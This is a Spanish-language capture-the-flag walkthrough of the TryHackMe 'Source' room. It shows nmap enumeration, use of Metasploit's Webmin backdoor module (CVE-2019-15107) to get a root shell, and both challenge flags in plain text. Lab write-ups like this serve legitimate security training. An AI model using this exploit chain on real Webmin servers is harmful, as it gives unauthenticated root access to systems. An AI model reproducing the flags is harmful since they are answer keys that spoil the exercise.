Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso es realizar un escaneo completo de puertos para mapear los servicios expuestos en el host objetivo.
Escaneo Completo de Nmap
Se ejecuta un escaneo completo de puertos TCP (-p-) determinando versiones (-sV) y scripts de reconocimiento básico (-A), con velocidad agresiva (-T5):
sudo nmap -sV -A -T5 -p- 10.129.145.156
Resultados Clave de Nmap
El escaneo revela 2 puertos abiertos principales:
- Puerto 22 (SSH): Servidor
OpenSSH 7.6p1 Ubuntu 4ubuntu0.3(Ubuntu Linux; protocolo 2.0). - Puerto 10000 (HTTP): Servidor web
MiniServ 1.890(Webmin httpd).
Fase 2: Enumeración y Configuración del Entorno
1. Inspección del Servidor Web (Puerto 10000)
Accedemos a la raíz del servidor web a través de la dirección IP por HTTP utilizando el puerto de Webmin: http://10.129.145.156:10000/. El navegador nos devuelve un error de tipo “Document follows” indicando que el servidor funciona en modo seguro (SSL):
La sugerencia de redirección es:
https://ip-10-129-145-156.eu-west-3.compute.internal:10000/
2. Configuración de /etc/hosts
Para que nuestra máquina atacante pueda resolver correctamente el dominio que exige el servidor Webmin, editamos nuestro archivo /etc/hosts utilizando nano en la terminal:
sudo nano /etc/hosts
Añadimos la siguiente línea asociando la IP de la máquina al dominio requerido:
10.129.145.156 ip-10-129-145-156.eu-west-3.compute.internal
3. Acceso a Webmin bajo SSL
Volvemos a cargar el sitio web utilizando la ruta segura https://ip-10-129-145-156.eu-west-3.compute.internal:10000/. Firefox nos detecta una advertencia de seguridad por certificado autofirmado:
Hacemos clic en “Advanced…” y aceptamos el riesgo agregando la excepción de seguridad. Esto nos redirige de forma exitosa a la página oficial de inicio de sesión de Webmin:
Fase 3: Investigación de Vulnerabilidades
1. Búsqueda de Vulnerabilidades Conocidas
Dado que identificamos la versión exacta de Webmin como 1.890, procedemos a buscar en bases de datos de vulnerabilidades asociadas a esta versión y anteriores.
- CVE-2018-19191: Esta vulnerabilidad reporta un Cross-Site Scripting (XSS) en Webmin 1.890 mediante
/config.cgi?webmin. Sin embargo, es un impacto de severidad media y requiere autenticación, por lo que no es apto para un acceso inicial limpio.
- CVE-2019-15107 (OS Command Injection): Encontramos una vulnerabilidad crítica de inyección de comandos del sistema operativo descubierta en Webmin en sus versiones
1.890a1.920. Afecta directamente al parámetropassword_change.cgiy permite a un atacante no autenticado ejecutar comandos arbitrarios con privilegios de root a través de una puerta trasera (backdoor) presente en instalaciones por defecto de la versión1.890.
Fase 4: Explotación y Acceso Inicial
1. Búsqueda del Exploit en Metasploit
Iniciamos la consola de Metasploit (msfconsole) en nuestra máquina atacante y buscamos módulos relacionados con webmin:
msfconsole
search webmin
Seleccionamos el exploit catalogado como exploit/linux/http/webmin_backdoor con el comando:
use 10
Revisamos la información detallada de este módulo para entender las versiones afectadas y el mecanismo empleado:
2. Configuración y Primer Intento
Revisamos las opciones requeridas del módulo:
show options
Configuramos las variables básicas:
RHOSTS: IP de la máquina víctima (10.129.145.156).LHOST: IP de nuestra interfaz tunelada de atacante (192.168.149.112).
set RHOSTS 10.129.145.156
set LHOST 192.168.149.112
exploit
El primer intento falla rápidamente debido a que la conexión es rechazada por el servidor:
- Error obtenido:
Exploit failed: Errno::ENOTCONN Transport endpoint is not connected
3. Activación de SSL y Explotación Exitosa
Dado que determinamos previamente que el sitio web funciona estrictamente sobre HTTPS, habilitamos la opción SSL dentro de Metasploit y relanzamos el ataque:
set SSL true
exploit
La vulnerabilidad es explotada de forma exitosa y se abre una sesión de consola interactiva (Command shell session 1). Al listar el directorio actual con ls, vemos los archivos internos de la aplicación Webmin.
Fase 5: Post-Explotación y Obtención de Flags
Una vez dentro de la máquina con la shell abierta, procedemos a realizar la fase de enumeración del sistema para extraer información y las correspondientes banderas.
1. Verificación de Privilegios
Confirmamos que somos el usuario administrador supremo (root) y la ubicación actual de la shell:
whoami
pwd
- Usuario:
root - Ruta:
/usr/share/webmin
2. Extracción de Flag Root
Listamos el directorio raíz de root y visualizamos el contenido del archivo root.txt:
ls -lha /root
cat /root/root.txt
- Flag Root:
THM{UPDATE_YOUR_INSTALL}
3. Extracción de Flag de Usuario
Investigamos las cuentas del sistema en /home y encontramos la carpeta de un usuario llamado dark. Listamos sus archivos y leemos la bandera user.txt:
ls /home
ls -lha /home/dark
cat /home/dark/user.txt
- Flag User (dark):
THM{SUPPLY_CHAIN_COMPROMISE}
Adicionalmente, en la carpeta del usuario dark se localiza el archivo instalador Debian vulnerable webmin_1.890_all.deb, confirmando el origen y vector de intrusión de la máquina.
La máquina ha sido totalmente comprometida.
Fuentes y Referencias
- TryHackMe - Source Room: Enlace a la sala oficial del reto.
- CVE-2019-15107 (NVD NIST): Registro oficial de la vulnerabilidad en Webmin.
- Webmin Backdoor Exploit (Rapid7): Documentación técnica sobre el exploit de Metasploit utilizado.